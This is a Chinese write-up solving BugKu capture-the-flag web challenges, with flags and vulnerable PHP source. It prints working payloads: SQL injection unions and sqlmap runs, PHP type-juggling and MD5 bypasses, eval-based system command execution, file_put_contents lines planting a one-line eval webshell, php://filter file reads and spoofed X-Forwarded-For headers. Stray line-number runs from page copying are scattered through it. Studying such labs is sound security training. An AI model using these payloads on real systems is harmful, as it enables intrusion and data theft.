BugKu-web
# BugKu-web
# 1.滑稽
简单题:打开后是空白页面,查看网页源代码就找到flag:
<!flag{b71f4e6eb376cf5db16605c6d28ed443}1
# 2.计算器
打开页面是个输入验证码的页面,输入验证码没反应
查看网页源代码,code.js可能有东西,再打开这个页面,在页面中找到flag
# 3.alert
页面也是空白的,查看源代码发现是写script标签内容,页面下方注释有一段 Unicode 编码内容,解码后得到flag
# 4.你必须让他停下
页面在不停地自动刷新,关掉网页js,让图片显示出来,在显示图片页面查看源代码
# 5.头等舱
页面只有个这
查看网页源代码,什么也没有;查看页面元素,在响应头找到flag
# 6.GET
根据题目要求传入what参数,直接出结果了
# 7.POST
同上题一样
# 8.source
源代码中有答案有一个
base64解码结果不对
网页目录扫描,发现有 /.git/ 路径
把 .git 下载下来,从下载内容中查找存在 flag 的文件,
下载命令:wget -r http://117.72.52.127:18761/.git
下载git目录后 使用命令查看历史flag记录
我们可以通过使用
git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。再使用 git show 命令查看每一个文件
这个也不对,接着找下一个,第二个也不是!
@@ -1 +1 @@ -flag{nonono} +flag{hahahahahhahahahahnotflag}
接着找后面所有的,找到一个最像正确答案的
@@ -1 +1 @@ -flag{nonono} +flag{git_is_good_distributed_version_control_system}
# 9.矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
2
3
4
5
6
7
$num==1 是 弱类型比较
PHP中字符串与数字弱比较,会将字符串转换为数字,截至到非数字字符,如果第一个字符就是非数字则字符串为0。
例如:
“1” == 1
“1abc” == 1
"123ab" == 123
"a12" == 0
按照此原理题目可将 num 参数设置为 1后面加上任意字母
例如:?num=1aaaa
# 10.备份是个好习惯
打开页面时一串字母加数字的字符串,不像什么编码,查看源代码无果
根据题目标题可能有备份文件,扫描一下网站目录,找到个 index.php.bak
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
strstr("abcd","c") : 查找 "c" 在 "abcd" 中是否存在,如果是,返回该字符串及后面剩余部分 cd
substr("abcd",2) :从字符串的指定位置开始截取到最后一位, cd
str_replace() : 把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
<?php echo str_replace("world","Peter","Hello world!"); ?> 输出:Hello Peter!1
2
3
4parse_str() 函数把查询字符串解析到变量中。
<?php parse_str("name=Peter&age=43"); echo $name."<br>"; echo $age; ?> 输出:Peter 431
2
3
4
5
6MD5值比较相等(PHP弱类型):
数组绕过 : eg:a[]=1&b[]=2
科学计数法绕过:0e绕过
240610708:0e462097431906509019562988736854 240610708 0e462097431906509019562988736854 314282422 0e990995504821699494520356953734 571579406 0e972379832854295224118025748221 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 TUFEPMC 0e839407194569345277863905212547 UTIPEZQ 0e382098788231234954670291303879 PJNPDWY:0e291529052894702774557631701704 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e8482404488305379244658656119041
2
3
4
5
6
7
8
9
10
11
12
13
代码解释:
<?php
include_once "flag.php"; //包含 flag.php 文件
ini_set("display_errors", 0); //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?'); //判断URL里是否有问号,返回?后包含?的所有内容给 $str
$str = substr($str,1); //获取 ? 后面的值,不要 ?,问号后面只有参数了
$str = str_replace('key','',$str); //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串
echo md5($key1); //将 key1 的值进行 MD5 加密并输出
echo md5($key2); //将 key2 的值进行 MD5 加密并输出
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag"; //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
由于MD5操作数组后全部为NULL,所以强弱类型比较的绕过都可用数组绕过
弱类型比较还可以用,科学计数法 0e 绕过
URL 地址要传入两个参数 ,例如: ?key1=QNKCDZO&key2=s214587387a
发现还是没反应
应该传入 :?kkeyey1=QNKCDZO&kekeyy2=s214587387a
使用双写绕过 str_replace() 函数,因为 str_replace() 会把字符串中的 key 替换为空,得到flag ,flag{61f39b75603f82ae120da511396cf16d}
解法二:
还可以使用数组绕过:?kkeyey1[]=aa&kkeyey2[]=sc
# 11.变量1
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
题目分析:
两个主要的知识点: preg_match 和 可变变量
error_reporting(0); // 关闭php错误显示
include "flag1.php"; // 包含flag1.php文件代码
if(!preg_match("/^\w+$/",$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
/^表示开始, \w表示任意一个字符,即[a-z][A-Z][0-9], +将前面的字符匹配一次或多次, $/结束。 后面的args变量是被匹配的。1
2
3
4
5只要运行 eval("var_dump($$args);");,flag很有可能就会出来$$arg
$$ 是可变变量,就是改变变量的名称的意思。
定义:一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
例如:
<?php $a = 'hello'; $$a = 'world';//这样两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下两条语句会输出相同的结果: echo "$a ${$a}"; //会输出 hello world, echo "$a $hello"; //会输出 hello world,$hello就是$$a ?>1
2
3
4
5
6要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。
类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。
示例
<?php class foo { var $bar = 'I am bar.'; var $arr = array('I am A.', 'I am B.', 'I am C.'); var $r = 'I am r.'; } $foo = new foo(); $bar = 'bar'; $baz = array('foo', 'bar', 'baz', 'quux'); echo $foo->$bar . "\n"; //输出 I am bar. echo $foo->$baz[1] . "\n"; //输出 I am bar. $start = 'b'; $end = 'ar'; echo $foo->{$start . $end} . "\n"; //输出 I am bar. $arr = 'arr'; echo $foo->$arr[1] . "\n"; //输出 I am r. echo $foo->{$arr}[1] . "\n"; //输出 I am B. ?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21在 PHP 的函数和类的方法中,超全局变量 (opens new window)不能用作可变变量。$this 变量也是一个特殊变量,不能被动态引用。
题目中 $$args 就是个可变变量, $args 的值是另一个变量的变量名 ,$$args就代表另一个变量
PHP有九大全局变量
$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]
SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
$GLOBALS [一个包含了全部变量的全局组合数组]
$_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
2
3
4
5
6
7
8
9
一个一个试试,只有 $GLOBALS 可用
构造 ?args=GLOBALS
参考资料:
https://www.cnblogs.com/naihaizhuoxia/p/11180982.html (opens new window)
https://www.cnblogs.com/backlion/p/15693677.html (opens new window)
# 其他:eval() 函数
使用file_put_contents()、eval() 函数上传一句话木马,由于 双引号中变量会被解析为变量的值,而我们需要变量的名,所以需要加**反斜线 **\ 处理变量的值
file_put_contents('shell.php', '<?php @eval($_POST[123]);?>');
file_put_contents("shell.php", "<?php @eval(\$_POST[123]);?>"); //在双引号中变量会被解析为变量的值,所以加反引号绕过
file_put_contents("shell.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+")); //将代码编码绕过
2
3
# 12.本地管理员
查看源代码
解码后得到 `test`,很可能是密码,试了一下不对,抓包查看请求,请求包为:
POST / HTTP/1.1
Host: 117.72.52.127:14080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://117.72.52.127:14080/
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
user=admin&pass=admin
2
3
4
5
6
7
8
9
10
11
12
13
14
15
发包后页面没反应 ,想到题目为 本地管理员 ,我们修改 X-Forwarded-For 为 127.0.0.1
Client-IP: 127.0.0.1
Forwgrded-For-Ip: 127.0.0.1
Forwärded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP:127.0.0.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
返回结果变了,说明改 X-Forwarded-For 有作用,密码使用刚才的 test123 成功获得 flag{e2bb6bc7efddd6aa6fc3348cc19f887c}
# 13.game1
是个网页版小游戏
目录扫描一下,找到个 /src/index.js ,没有什么有用的
玩游戏,抓个包查看下找到个 /score.php 页面


sign参数可能是个 base64 ,解码后是个乱码。
在页面源代码中搜索 sign ,发现这个 sgin 是经过base64加密的
var ppp='8.8.8.8';
var sign = Base64.encode(score.toString());
xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);
2
3
抓了多次包,发现这个base64码有规律,前两位总是 zM 开头,我们把他去掉
结果分别是 125== 、 25==、100==
GET /score.php?score=125&ip=8.8.8.8&sign=zMMTI1== HTTP/1.1
GET /score.php?score=25&ip=8.8.8.8&sign=zMMjU=== HTTP/1.1
GET /score.php?score=100&ip=8.8.8.8&sign=zMMTAw== HTTP/1.1
2
3
我们把score值设置大一些 例如:5000000 ,base64 就是 zMNTAwMDAwMD09,接着发包,flag出现了flag{4ba0b4991081b8dea546b05f11647ed0}

# 14.源代码
题目只有一个输入框和提交按钮,让查看源代码

unescape() 函数是要返回指定值的ASCII字符串。
按要求把 p1 解码和 %35%34%61%61%32+p2解码后字符串拼接
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
处理后得到的解码内容为:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
2
3
4
5
6
7
8
9
10
11
将字符串:67d709b2b54aa2aa648cf6e87a7114f1输入输入框提交得到flag

# 15.网站被黑

老规矩,查看网页源代码,什么都没有
目录扫描一下,找到个 /shell.php ,直接访问,发现是个webshell大马
连接密码爆破一下,使用 big.txt 字典,得到了密码是 : hack

# 16.bp
题目提示
提 示: 弱密码top1000?z?????
描 述: 请找出密码

直接使用字典 top1000 爆破密码,根据提示密码首字母是可能是 z 开头,但是爆破响应长度都为908
接着看响应包
<script> var r = {code: 'bugku10000'} if(r.code == 'bugku10000'){ console.log('e'); document.getElementById('d').innerHTML = "Wrong account or password!"; }else{ console.log('0'); window.location.href = 'success.php?code='+r.code; } </script>1
2
3
4
5
6
7
8
9
10
设置响应包内容筛选,添加 {code: 'bugku10000'} ,没有出现登录失败特征码的即为登录成功的Payload ,

密码为 :zxc123

# 17.好像需要密码

直接爆破密码,密码为:12468

# 18.shell
描 述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
打开页面是个空白页面,描述中提示传参s
?s=system("whoami") 响应 www-data
?s=system("ls%20-al") flaga15808abee46a1d5.txt
?s=system("cat%20flaga15808abee46a1d5.txt")
2
3

# 19.eval
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
2
3
4
5
6
var_dump()函数可以接受一个或多个参数,并将它们的信息打印到输出流中。例如:
$variable = "Hello, World!"; var_dump($variable); // 输出: string(13) "Hello, World!"
传入phpinfo试试

接着查看用户:?hello=system(whoami) www-data
?hello=system('tac f*') flag{c5e0918f8ea72bc6a4e2140cd82de208}

?hello=eval($_POST['cmd']) 使用蚁剑连接

# 20.需要管理员

页面没什么有用信息,直接目录扫描,找到了个 robots.txt,访问 robots.txt,又找到个 resusl.php
User-agent: * Disallow: /resusl.php1
2

提示要管理员才能操作,尝试传入一个admin
结果出来了

# 21.程序员本地网站
页面显示:请从本地访问!
抓包修改 请求头 X-Forwarded-For: 127.0.0.1 获得结果

# 22.你从哪里来
页面显示:
are you from google?
此题可能是考察请求头访问的连接来源,直接在请求头添加
Referer: www.google.com

# 23.前女友

查看网页源代码,有个 code.txt

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
strcmp()函数 会对比字符串内容,如果一致返回 0,不一致返回 1
传入数组的话,就会返回0,和正确校验一致,从而绕过。例如:
if (strcmp($username, $_POST['username']) == 0) { if (strcmp($password, $_POST['password']) == 0) {1
2
3根据:($v1 != $v2 && md5($v1) == md5($v2))
v1和v2可以使用数组或者0e绕过,v3使用数组绕过
以下payload可以使用:
?v1[]=1&v2[]=2&v3[]=1 ?v1=240610708&v2=314282422&v3[]=112 ?v1=QNKCDZO&v2=240610708&v3[]=1231
2
3flag{51539bd0ddbbdcbdd2078651bb49d3af}
# 24.MD5
下载了个源码文件,内容如下
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*****************}";
} else {
echo "false!!!";
}
}
else{
echo "please input a";
}
2
3
4
5
6
7
8
9
10
11
12
13
分析:
代码要求传入一个参数 a ,要求 a 的 MD5 值不能为 QNKCDZO ,且a的MD5和 QNKCDZO 的MD5值相等。就可以输出flag
可以使用 0e 绕过,找一个 0e 值 ,这里就取 314282422 为例
?a=3142824221还可以使用的很多:
s155964671a
571579406
PJNPDWY
......

# 25.各种绕过哟
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
代码要求 uname 和 passwd 的值不同,但哈希值相同,很明显,可直接使用数组绕过
get ?id=margin&uname=1
post passwd[]=2

# 26.秋名山车神(1)

此题通过写脚本解
import requests
import re
request = requests.Session()
url = "http://117.72.52.127:13347/"
response = request.get(url)
n = re.findall("<div>(.*?)=", response.text)[0]
num = eval(n)
data = {"value": num}
response1 = request.post(url, data=data)
f = re.findall('flag{(.*?)}', response1.text)
flag = "flag{" + f[0] + "}"
print(flag)
2
3
4
5
6
7
8
9
10
11
12
13
代码分析:
# 导入所需的库:requests用于发送HTTP请求,re用于正则表达式匹配
import requests
import re
# 创建一个Session对象,用于保持跨请求的会话状态(如Cookies)
request = requests.Session()
# 定义目标URL地址
url = "http://117.72.52.127:13347/"
# 发送GET请求获取初始页面内容
response = request.get(url)
# 使用正则表达式从响应文本中提取<div>标签内的数学表达式(匹配到第一个等号前的所有内容)
# 示例:若页面显示<div>123+456=,则提取"123+456"
n = re.findall("<div>(.*?)=", response.text)[0]
# 使用eval()计算数学表达式的值(注意:实际生产环境中慎用eval,存在安全风险)
num = eval(n)
# 构造POST请求的表单数据,将计算结果作为value参数提交
data = {"value": num}
# 发送POST请求提交计算结果
response1 = request.post(url, data=data)
# 使用正则表达式从响应中提取flag内容(匹配flag{...}中的...部分)
f = re.findall('flag{(.*?)}', response1.text)
# 组合成完整flag格式并打印
flag = "flag{" + f[0] + "}"
print(flag)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
参考:
https://fishpi.cn/article/1647579118689?p=1&amp;m=0 (opens new window)
# 27.速度要快
# 28.file_get_contents
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。
extract($_GET);
相当于:
$ac=$_GET['sc']
$fn=$_GET['fn']
trim() : 用于移除字符串两侧的空白字符或其他预定义字符。
file_get_contents()函数 绕过绕过方式有: php://input伪协议绕过: 使 ?fn=php://input 用post方法传入想要file_get_contents()函数返回的值 data://伪协议绕过: ?fn=data://text/plain;base64 ?fn=data:text/plain //url编码1
2
3
4
5
6
7
?ac=123as&fn=data:text/plain,123as

# 29.成绩查询

分别输入了 1,2,3显示不同的成绩列表。抓包查看

SQL注入,输入测试 payload
?id=1
?id=1 and 1=1#
?id=1 and 1=2#
?id=1' #
?id=1' and 1=1#
?id=1' and 1=2#
id=11' union select database(),2,3,4# //skctf
id=11' union select user(),2,3,4# //root@localhost
id=11' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4# //fl4g,sc
id=11' union select (select group_concat(column_name) from information_schema.columns where table_name='fl4g'),2,3,4# //skctf_flag
id=11' union select 1,2,3,group_concat(skctf_flag) from skctf.fl4g# //flag{e8d2544096569cf95da4ecb8121af05b}
2
3
4
5
6
7
8
9
10
11

# 30.no select

SQL注入漏洞。直接 sqlmap
python sqlmap.py -u "http://117.72.52.127:11766/?id=1" --dbs #flag
万能密码: 1' or 1=1 #

# 31.login2

直接sqlmap扫描,发现什么都没有


登录抓包发现有个 tip

解码后:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
2
3
可以输入:用户名可以任意值,主要是使用 union 语句
- 用户名:
a' UNION SELECT 1,md5(666)# - 密码:
666
$password 是我们输入的密码值
row['password']应该是查询出来的结果

出现另一个页面

输入各种命令,没有有用的回显

使用管道符 | 可以绕过,将命令执行的结果输出到文件中访问来绕过


写入木马文件


# 32.sql注入

题目提示基于布尔的SQL盲注,直接sqlmap跑一下,注不出来。
使用bp爆破密码,用户名是admin,密码爆破出来是 bugkuctf

# 33.login1

试了下没有用户弱口令
注册页面注册一个账号:admin /123456
admin加个空格,可以注册成功,设置的密码就会替换成管理员的,因为后端数据库会过自动删掉空格。

# 34.文件包含

点击后页面链接变成 http://117.72.52.127:15632/index.php?file=show.php
使用 php://filter 伪协议读取 show.php文件
?file=php://filter/convert.base64-encode/resource=show.php

读取 index.php
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2NlZDJkZDdiYWU4MzZmZmZlZjI0YjM1Mjk0MWJkZjU2fQ0KPz4NCjwvaHRtbD4NCg==
解码后:
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{ced2dd7bae836fffef24b352941bdf56}
?>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 35.never_give_up
查看网页元素和网页源代码,发现有个提示 1p.html

访问后发现会跳转到别的页面,为了能访问到 1p.html,可以把这个页面下载下来打开。查看页面内容
wget http://117.72.52.127:16492/1p.html

%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E
将得到的字符串解码,得到源代码,先url解码后得到一段类似base64的编码,base64解码后又出现一段url编码,继续解码得到正确代码。
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
stripos($a,'.') 函数表示 $a 中不能有 '.'
看到 file_get_contents($a,'r') ,立马想到用 php://input 伪协议
表示 $data 中要有bugku is a nice plateform!字符串
看到 $id==0 是两个 =,立马想到是弱类型比较,可以令 id=0qw绕过
eregi(“111”.substr($b,0,1),“1114”) 表示将 111和 $b 提取的第一个字符拼接,和1114做比较,111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114
可以利用 %00截断 ,使substr截取$b字符串时被截断,从而形成eregi("111","1114"),匹配成功,同时%00不会对strlen截断,
又$b字符串长度大于5,可以在 %00 后跟任意字符凑够长度 5,可以构造为 $b=%0012345
其中 %00 算作一个长度为 1
